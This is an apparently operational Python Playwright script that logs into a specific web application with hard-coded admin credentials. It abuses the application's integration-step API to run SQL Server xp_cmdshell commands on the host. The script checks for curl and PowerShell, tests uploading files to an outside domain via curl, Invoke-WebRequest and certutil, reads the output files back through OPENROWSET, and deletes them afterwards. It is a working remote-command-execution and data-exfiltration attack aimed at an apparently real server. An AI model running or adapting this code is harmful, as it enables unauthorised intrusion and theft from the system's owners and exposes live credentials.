#!/usr/bin/env python3
"""v27: Debug upload — check if curl works on customer server.
Run WITHOUT no_output, write curl stderr to file, read it back."""
import asyncio, json, re, time
from playwright.async_api import async_playwright

IP = "198.71.63.125"  # CITYMARTUAPSINGLE — was all_success
APP = "CITYMARTUAPSINGLE"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()
        step_id = 4

        # Login
        await page.goto(f"http://{IP}/{APP}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            print("Login failed"); await browser.close(); return
        print("✅ Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"test@test.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        # Test 1: Check if curl exists
        print("\n=== Test 1: where curl ===")
        s, m = await run_step("where_curl", "EXEC xp_cmdshell 'where curl'")
        print(f"  success={s} msg={m[:100]}")

        # Test 2: Check if powershell exists  
        print("\n=== Test 2: where powershell ===")
        s, m = await run_step("where_ps", "EXEC xp_cmdshell 'where powershell'")
        print(f"  success={s} msg={m[:100]}")

        # Test 3: Write test file and try curl upload WITH output
        print("\n=== Test 3: curl upload WITH output ===")
        s, m = await run_step("curl_test", "EXEC xp_cmdshell 'echo test > D:\\\\test.txt & curl -v -T D:\\\\test.txt https://ch12.hostserviceapp.com 2>&1 > D:\\\\curl_out.txt & type D:\\\\curl_out.txt'")
        print(f"  success={s} msg={m[:200]}")

        # Test 4: Try PowerShell upload
        print("\n=== Test 4: PowerShell upload ===")
        ps_cmd = "Invoke-WebRequest -Uri 'https://ch12.hostserviceapp.com' -Method POST -InFile 'D:\\test.txt' -UseBasicParsing"
        s, m = await run_step("ps_test", "EXEC xp_cmdshell 'powershell -NoProfile -Command \"" + ps_cmd + " 2>&1 > D:\\\\ps_out.txt\" & type D:\\\\ps_out.txt'")
        print(f"  success={s} msg={m[:200]}")

        # Test 5: Check network connectivity
        print("\n=== Test 5: ping ch12 ===")
        s, m = await run_step("ping", "EXEC xp_cmdshell 'ping -n 1 ch12.hostserviceapp.com'")
        print(f"  success={s} msg={m[:200]}")

        # Test 6: Check nslookup
        print("\n=== Test 6: nslookup ===")
        s, m = await run_step("nslookup", "EXEC xp_cmdshell 'nslookup ch12.hostserviceapp.com'")
        print(f"  success={s} msg={m[:200]}")

        # Test 7: Check certutil (always available on Windows)
        print("\n=== Test 7: certutil upload ===")
        s, m = await run_step("certutil", "EXEC xp_cmdshell 'certutil -encode D:\\\\test.txt D:\\\\test.b64 & certutil -urlcache -split -f https://ch12.hostserviceapp.com/test_upload D:\\\\test.b64'")
        print(f"  success={s} msg={m[:200]}")

        # Test 8: Read curl output file via OPENROWSET (Send Mail type)
        print("\n=== Test 8: Read curl_out.txt via OPENROWSET ===")
        s, m = await run_step("read_curl_out", "SELECT BulkColumn FROM OPENROWSET(BULK 'D:\\\\curl_out.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  success={s} msg={m[:200]}")

        # Test 9: Read ps_out.txt
        print("\n=== Test 9: Read ps_out.txt via OPENROWSET ===")
        s, m = await run_step("read_ps_out", "SELECT BulkColumn FROM OPENROWSET(BULK 'D:\\\\ps_out.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"  success={s} msg={m[:200]}")

        # Cleanup
        print("\n=== Cleanup ===")
        s, m = await run_step("cleanup", "EXEC xp_cmdshell 'del D:\\\\test.txt D:\\\\test.b64 D:\\\\curl_out.txt D:\\\\ps_out.txt', no_output")
        print(f"  success={s}")

        await browser.close()

asyncio.run(main())
